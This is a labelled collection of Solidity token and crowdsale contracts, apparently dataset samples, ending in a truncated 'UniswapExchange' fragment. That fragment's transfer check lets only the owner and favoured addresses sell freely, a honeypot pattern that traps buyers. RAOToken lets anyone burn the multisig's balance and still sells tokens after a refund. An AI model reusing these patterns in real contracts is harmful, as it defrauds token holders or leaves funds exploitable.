function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ELC is StandardToken {
string public constant name = "Elcoin Token";
string public constant symbol = "ELC";
uint8 public constant decimals = 18;
uint256 public tokenLimit;
address public ico;
modifier icoOnly { require(msg.sender == ico); _; }
bool public tokensAreFrozen = true;
function ELC(address _ico, uint256 _tokenLimit) public {
ico = _ico;
tokenLimit = _tokenLimit;
}
function mint(address _holder, uint256 _value) external icoOnly {
require(_holder != address(0));
require(_value != 0);
require(totalSupply + _value <= tokenLimit);
balances[_holder] += _value;
totalSupply += _value;
Transfer(0x0, _holder, _value);
}
function defrost() external icoOnly {
tokensAreFrozen = false;
}
function withdrawToken(address _tokenContract, address where, uint256 _value) external icoOnly {
ERC20 _token = ERC20(_tokenContract);
_token.transfer(where, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
} | 1 | 4,138 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CurrentToken is StandardToken, Pausable {
string constant public name = "CurrentCoin";
string constant public symbol = "CUR";
uint8 constant public decimals = 18;
uint256 constant public INITIAL_TOTAL_SUPPLY = 1e11 * (uint256(10) ** decimals);
address private addressIco;
modifier onlyIco() {
require(msg.sender == addressIco);
_;
}
function CurrentToken (address _ico) public {
require(_ico != address(0));
addressIco = _ico;
totalSupply_ = totalSupply_.add(INITIAL_TOTAL_SUPPLY);
balances[_ico] = balances[_ico].add(INITIAL_TOTAL_SUPPLY);
Transfer(address(0), _ico, INITIAL_TOTAL_SUPPLY);
pause();
}
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) {
super.transferFrom(_from, _to, _value);
}
function transferFromIco(address _to, uint256 _value) onlyIco public returns (bool) {
super.transfer(_to, _value);
}
function burnFromIco() onlyIco public {
uint256 remainingTokens = balanceOf(addressIco);
balances[addressIco] = balances[addressIco].sub(remainingTokens);
totalSupply_ = totalSupply_.sub(remainingTokens);
Transfer(addressIco, address(0), remainingTokens);
}
function burnFromAddress(address _from) onlyIco public {
uint256 amount = balances[_from];
balances[_from] = 0;
totalSupply_ = totalSupply_.sub(amount);
Transfer(_from, address(0), amount);
}
}
contract Whitelist is Ownable {
mapping(address => bool) whitelist;
uint256 public whitelistLength = 0;
function addWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
require(!isWhitelisted(_wallet));
whitelist[_wallet] = true;
whitelistLength++;
}
function removeWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
require(isWhitelisted(_wallet));
whitelist[_wallet] = false;
whitelistLength--;
}
function isWhitelisted(address _wallet) constant public returns (bool) {
return whitelist[_wallet];
}
}
contract Whitelistable {
Whitelist public whitelist;
modifier whenWhitelisted(address _wallet) {
require(whitelist.isWhitelisted(_wallet));
_;
}
function Whitelistable() public {
whitelist = new Whitelist();
}
}
contract CurrentCrowdsale is Pausable, Whitelistable {
using SafeMath for uint256;
uint256 constant private DECIMALS = 18;
uint256 constant public RESERVED_TOKENS_FOUNDERS = 40e9 * (10 ** DECIMALS);
uint256 constant public RESERVED_TOKENS_OPERATIONAL_EXPENSES = 10e9 * (10 ** DECIMALS);
uint256 constant public HARDCAP_TOKENS_PRE_ICO = 100e6 * (10 ** DECIMALS);
uint256 constant public HARDCAP_TOKENS_ICO = 499e8 * (10 ** DECIMALS);
uint256 public startTimePreIco = 0;
uint256 public endTimePreIco = 0;
uint256 public startTimeIco = 0;
uint256 public endTimeIco = 0;
uint256 public exchangeRatePreIco = 0;
bool public isTokenRateCalculated = false;
uint256 public exchangeRateIco = 0;
uint256 public mincap = 0;
uint256 public maxcap = 0;
mapping(address => uint256) private investments;
uint256 public tokensSoldIco = 0;
uint256 public tokensRemainingIco = HARDCAP_TOKENS_ICO;
uint256 public tokensSoldTotal = 0;
uint256 public weiRaisedPreIco = 0;
uint256 public weiRaisedIco = 0;
uint256 public weiRaisedTotal = 0;
mapping(address => uint256) private investmentsPreIco;
address[] private investorsPreIco;
address private withdrawalWallet;
bool public isTokensPreIcoDistributed = false;
uint256 public distributionPreIcoCount = 0;
CurrentToken public token = new CurrentToken(this);
modifier beforeReachingHardCap() {
require(tokensRemainingIco > 0 && weiRaisedTotal < maxcap);
_;
}
modifier whenPreIcoSaleHasEnded() {
require(now > endTimePreIco);
_;
}
modifier whenIcoSaleHasEnded() {
require(endTimeIco > 0 && now > endTimeIco);
_;
}
function CurrentCrowdsale(
uint256 _mincap,
uint256 _maxcap,
uint256 _startTimePreIco,
uint256 _endTimePreIco,
address _foundersWallet,
address _operationalExpensesWallet,
address _withdrawalWallet
) Whitelistable() public
{
require(_foundersWallet != address(0) && _operationalExpensesWallet != address(0) && _withdrawalWallet != address(0));
require(_startTimePreIco >= now && _endTimePreIco > _startTimePreIco);
require(_mincap > 0 && _maxcap > _mincap);
startTimePreIco = _startTimePreIco;
endTimePreIco = _endTimePreIco;
withdrawalWallet = _withdrawalWallet;
mincap = _mincap;
maxcap = _maxcap;
whitelist.transferOwnership(msg.sender);
token.transferFromIco(_foundersWallet, RESERVED_TOKENS_FOUNDERS);
token.transferFromIco(_operationalExpensesWallet, RESERVED_TOKENS_OPERATIONAL_EXPENSES);
token.transferOwnership(msg.sender);
}
function() public payable {
if (isPreIco()) {
sellTokensPreIco();
} else if (isIco()) {
sellTokensIco();
} else {
revert();
}
}
function isPreIco() public constant returns (bool) {
bool withinPreIco = now >= startTimePreIco && now <= endTimePreIco;
return withinPreIco;
}
function isIco() public constant returns (bool) {
bool withinIco = now >= startTimeIco && now <= endTimeIco;
return withinIco;
}
function manualRefund() whenIcoSaleHasEnded public {
require(weiRaisedTotal < mincap);
uint256 weiAmountTotal = investments[msg.sender];
require(weiAmountTotal > 0);
investments[msg.sender] = 0;
uint256 weiAmountPreIco = investmentsPreIco[msg.sender];
uint256 weiAmountIco = weiAmountTotal;
if (weiAmountPreIco > 0) {
investmentsPreIco[msg.sender] = 0;
weiRaisedPreIco = weiRaisedPreIco.sub(weiAmountPreIco);
weiAmountIco = weiAmountIco.sub(weiAmountPreIco);
}
if (weiAmountIco > 0) {
weiRaisedIco = weiRaisedIco.sub(weiAmountIco);
uint256 tokensIco = weiAmountIco.mul(exchangeRateIco);
tokensSoldIco = tokensSoldIco.sub(tokensIco);
}
weiRaisedTotal = weiRaisedTotal.sub(weiAmountTotal);
uint256 tokensAmount = token.balanceOf(msg.sender);
tokensSoldTotal = tokensSoldTotal.sub(tokensAmount);
token.burnFromAddress(msg.sender);
msg.sender.transfer(weiAmountTotal);
}
function sellTokensPreIco() beforeReachingHardCap whenWhitelisted(msg.sender) whenNotPaused public payable {
require(isPreIco());
require(msg.value > 0);
uint256 weiAmount = msg.value;
uint256 excessiveFunds = 0;
uint256 plannedWeiTotal = weiRaisedTotal.add(weiAmount);
if (plannedWeiTotal > maxcap) {
excessiveFunds = plannedWeiTotal.sub(maxcap);
weiAmount = maxcap.sub(weiRaisedTotal);
}
investments[msg.sender] = investments[msg.sender].add(weiAmount);
weiRaisedPreIco = weiRaisedPreIco.add(weiAmount);
weiRaisedTotal = weiRaisedTotal.add(weiAmount);
addInvestmentPreIco(msg.sender, weiAmount);
if (excessiveFunds > 0) {
msg.sender.transfer(excessiveFunds);
}
}
function sellTokensIco() beforeReachingHardCap whenWhitelisted(msg.sender) whenNotPaused public payable {
require(isIco());
require(msg.value > 0);
uint256 weiAmount = msg.value;
uint256 excessiveFunds = 0;
uint256 plannedWeiTotal = weiRaisedTotal.add(weiAmount);
if (plannedWeiTotal > maxcap) {
excessiveFunds = plannedWeiTotal.sub(maxcap);
weiAmount = maxcap.sub(weiRaisedTotal);
}
uint256 tokensAmount = weiAmount.mul(exchangeRateIco);
if (tokensAmount > tokensRemainingIco) {
uint256 weiToAccept = tokensRemainingIco.div(exchangeRateIco);
excessiveFunds = excessiveFunds.add(weiAmount.sub(weiToAccept));
tokensAmount = tokensRemainingIco;
weiAmount = weiToAccept;
}
investments[msg.sender] = investments[msg.sender].add(weiAmount);
tokensSoldIco = tokensSoldIco.add(tokensAmount);
tokensSoldTotal = tokensSoldTotal.add(tokensAmount);
tokensRemainingIco = tokensRemainingIco.sub(tokensAmount);
weiRaisedIco = weiRaisedIco.add(weiAmount);
weiRaisedTotal = weiRaisedTotal.add(weiAmount);
token.transferFromIco(msg.sender, tokensAmount);
if (excessiveFunds > 0) {
msg.sender.transfer(excessiveFunds);
}
}
function forwardFunds() onlyOwner public {
require(weiRaisedTotal >= mincap);
withdrawalWallet.transfer(this.balance);
}
function calcTokenRate() whenPreIcoSaleHasEnded onlyOwner public {
require(!isTokenRateCalculated);
require(weiRaisedPreIco > 0);
exchangeRatePreIco = HARDCAP_TOKENS_PRE_ICO.div(weiRaisedPreIco);
exchangeRateIco = exchangeRatePreIco.div(2);
isTokenRateCalculated = true;
}
function distributeTokensPreIco(uint256 _paginationCount) onlyOwner public {
require(isTokenRateCalculated && !isTokensPreIcoDistributed);
require(_paginationCount > 0);
uint256 count = 0;
for (uint256 i = distributionPreIcoCount; i < getPreIcoInvestorsCount(); i++) {
if (count == _paginationCount) {
break;
}
uint256 investment = getPreIcoInvestment(getPreIcoInvestor(i));
uint256 tokensAmount = investment.mul(exchangeRatePreIco);
tokensSoldTotal = tokensSoldTotal.add(tokensAmount);
token.transferFromIco(getPreIcoInvestor(i), tokensAmount);
count++;
}
distributionPreIcoCount = distributionPreIcoCount.add(count);
if (distributionPreIcoCount == getPreIcoInvestorsCount()) {
isTokensPreIcoDistributed = true;
}
}
function burnUnsoldTokens() whenIcoSaleHasEnded onlyOwner public {
require(tokensRemainingIco > 0);
token.burnFromIco();
tokensRemainingIco = 0;
}
function getPreIcoInvestorsCount() constant public returns (uint256) {
return investorsPreIco.length;
}
function getPreIcoInvestor(uint256 _index) constant public returns (address) {
return investorsPreIco[_index];
}
function getPreIcoInvestment(address _investorPreIco) constant public returns (uint256) {
return investmentsPreIco[_investorPreIco];
}
function setStartTimeIco(uint256 _startTimeIco, uint256 _endTimeIco) whenPreIcoSaleHasEnded beforeReachingHardCap onlyOwner public {
require(_startTimeIco >= now && _endTimeIco > _startTimeIco);
require(isTokenRateCalculated);
startTimeIco = _startTimeIco;
endTimeIco = _endTimeIco;
}
function addInvestmentPreIco(address _from, uint256 _value) internal {
if (investmentsPreIco[_from] == 0) {
investorsPreIco.push(_from);
}
investmentsPreIco[_from] = investmentsPreIco[_from].add(_value);
}
} | 1 | 3,818 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public;
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
function allowance(address owner, address spender) public constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract RAOToken is Ownable, ERC20 {
using SafeMath for uint256;
string public name = "RadioYo Coin";
string public symbol = "RAO";
uint256 public decimals = 18;
uint256 public numberDecimal18 = 1000000000000000000;
uint256 public initialPrice = 3000e18;
uint256 public _totalSupply = 33000000e18;
uint256 public _icoSupply = 33000000e18;
uint256 public _softcap = 165000e18;
mapping (address => uint256) balances;
mapping (address => bool) whitelist;
mapping (address => uint256) vault;
mapping (address => uint256) balancesWaitingKYC;
mapping (address => mapping(address => uint256)) allowed;
uint256 public startTime;
uint256 public endTime;
uint256 public sealdate;
address public multisig;
uint256 public RATE;
uint256 public kycLevel = 15 ether;
uint256 public hardCap = 200000000e18;
uint256 public totalNumberTokenSold=0;
bool public mintingFinished = false;
bool public tradable = true;
bool public active = true;
event MintFinished();
event StartTradable();
event PauseTradable();
event HaltTokenAllOperation();
event ResumeTokenAllOperation();
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Burn(address indexed burner, uint256 value);
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTradable() {
require(tradable);
_;
}
modifier isActive() {
require(active);
_;
}
modifier saleIsOpen(){
require(startTime <= getNow() && getNow() <= endTime);
_;
}
function RAOToken(address _multisig) public {
require(_multisig != 0x0);
multisig = _multisig;
RATE = initialPrice;
startTime = now;
sealdate = startTime + 180 days;
endTime = startTime + 60 days;
balances[multisig] = _totalSupply;
owner = msg.sender;
}
function () external payable {
if (!validPurchase()) {
refundFunds(msg.sender);
}
tokensale(msg.sender);
}
function whitelisted(address user) public constant returns (bool) {
return whitelist[user];
}
function tokensale(address recipient) internal canMint isActive saleIsOpen {
require(recipient != 0x0);
require(whitelisted(recipient));
uint256 weiAmount = msg.value;
uint256 numberRaoToken = weiAmount.mul(RATE).div(1 ether);
require(_icoSupply >= numberRaoToken);
totalNumberTokenSold = totalNumberTokenSold.add(numberRaoToken);
_icoSupply = _icoSupply.sub(numberRaoToken);
TokenPurchase(msg.sender, recipient, weiAmount, numberRaoToken);
if (weiAmount < kycLevel) {
updateBalances(recipient, numberRaoToken);
} else {
balancesWaitingKYC[recipient] = balancesWaitingKYC[recipient].add(numberRaoToken);
}
forwardFunds();
setWhitelistStatus(recipient, false);
}
function updateBalances(address receiver, uint256 tokens) internal {
balances[multisig] = balances[multisig].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
}
function refundFunds(address origin) internal {
origin.transfer(msg.value);
}
function forwardFunds() internal {
multisig.transfer(msg.value);
}
function setWhitelistStatus(address user,bool status) public returns (bool) {
if (status == true) {
require(msg.sender == owner);
whitelist[user] = true;
} else {
require(msg.sender == owner || msg.sender == user);
whitelist[user] = false;
}
return whitelist[user];
}
function setWhitelistForBulk(address[] listAddresses, bool status) public onlyOwner {
for (uint256 i = 0; i < listAddresses.length; i++) {
whitelist[listAddresses[i]] = status;
}
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = getNow() >= startTime && getNow() <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool notReachedHardCap = hardCap >= totalNumberTokenSold;
return withinPeriod && nonZeroPurchase && notReachedHardCap;
}
function hasEnded() public constant returns (bool) {
return getNow() > endTime;
}
function getNow() public constant returns (uint) {
return now;
}
function changeMultiSignatureWallet (address _multisig) public onlyOwner isActive {
multisig = _multisig;
}
function changeTokenRate(uint _tokenPrice) public onlyOwner isActive {
RATE = _tokenPrice;
}
function finishMinting() public onlyOwner isActive {
mintingFinished = true;
MintFinished();
}
function startTradable(bool _tradable) public onlyOwner isActive {
tradable = _tradable;
if (tradable)
StartTradable();
else
PauseTradable();
}
function updateICODate(uint256 _startTime, uint256 _endTime) public onlyOwner {
startTime = _startTime;
endTime = _endTime;
}
function changeStartTime(uint256 _startTime) public onlyOwner {
startTime = _startTime;
}
function changeEndTime(uint256 _endTime) public onlyOwner {
endTime = _endTime;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function totalNumberTokenSold() public constant returns (uint256) {
return totalNumberTokenSold;
}
function changeTotalSupply(uint256 newSupply) public onlyOwner {
_totalSupply = newSupply;
}
function balanceOf(address who) public constant returns (uint256) {
return balances[who];
}
function vaultBalanceOf(address who) public constant returns (uint256) {
return vault[who];
}
function transferToVault(address recipient, uint256 amount) public onlyOwner isActive {
require (
balances[multisig] >= amount && amount > 0
);
balances[multisig] = balances[multisig].sub(amount);
vault[recipient] = vault[recipient].add(amount);
}
function balanceOfKyCToBeApproved(address who) public constant returns (uint256) {
return balancesWaitingKYC[who];
}
function approveBalancesWaitingKYC(address[] listAddresses) public onlyOwner {
for (uint256 i = 0; i < listAddresses.length; i++) {
address client = listAddresses[i];
balances[multisig] = balances[multisig].sub(balancesWaitingKYC[client]);
balances[client] = balances[client].add(balancesWaitingKYC[client]);
balancesWaitingKYC[client] = 0;
}
}
function remit() public {
require(vault[msg.sender] > 0 && now >= sealdate);
balances[msg.sender] = balances[msg.sender].add(vault[msg.sender]);
vault[msg.sender] = 0;
}
function remitFor(address person) public onlyOwner {
require(vault[person] > 0 && now >= sealdate);
balances[person] = balances[person].add(vault[person]);
vault[person] = 0;
}
function addTimeToSeal(uint256 time) public onlyOwner {
sealdate = sealdate.add(time);
}
function setSealDate(uint256 _sealdate) public onlyOwner {
sealdate = _sealdate;
}
function resetTimeSeal() public onlyOwner {
sealdate = now;
}
function getSealDate() public constant returns (uint256) {
return sealdate;
}
function modifyCurrentHardCap(uint256 _hardCap) public onlyOwner isActive {
hardCap = _hardCap;
}
function burn(uint256 _value) public {
require(_value <= balances[multisig]);
balances[multisig] = balances[multisig].sub(_value);
_totalSupply = _totalSupply.sub(_value);
Burn(multisig, _value);
}
function transfer(address to, uint256 value) public canTradable isActive {
require (
balances[msg.sender] >= value && value > 0
);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
}
function transferToAll(address[] tos, uint256[] values) public onlyOwner canTradable isActive {
require(
tos.length == values.length
);
for(uint256 i = 0; i < tos.length; i++){
require(_icoSupply >= values[i]);
totalNumberTokenSold = totalNumberTokenSold.add(values[i]);
_icoSupply = _icoSupply.sub(values[i]);
updateBalances(tos[i],values[i]);
}
}
function transferFrom(address from, address to, uint256 value) public canTradable isActive {
require (
allowed[from][msg.sender] >= value && balances[from] >= value && value > 0
);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
}
function approve(address spender, uint256 value) public isActive {
require (
balances[msg.sender] >= value && value > 0
);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
function allowance(address _owner, address spender) public constant returns (uint256) {
return allowed[_owner][spender];
}
function getRate() public constant returns (uint256 result) {
return RATE;
}
function getTokenDetail() public constant returns (string, string, uint256, uint256, uint256, uint256, uint256) {
return (name, symbol, startTime, endTime, _totalSupply, _icoSupply, totalNumberTokenSold);
}
} | 1 | 4,300 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
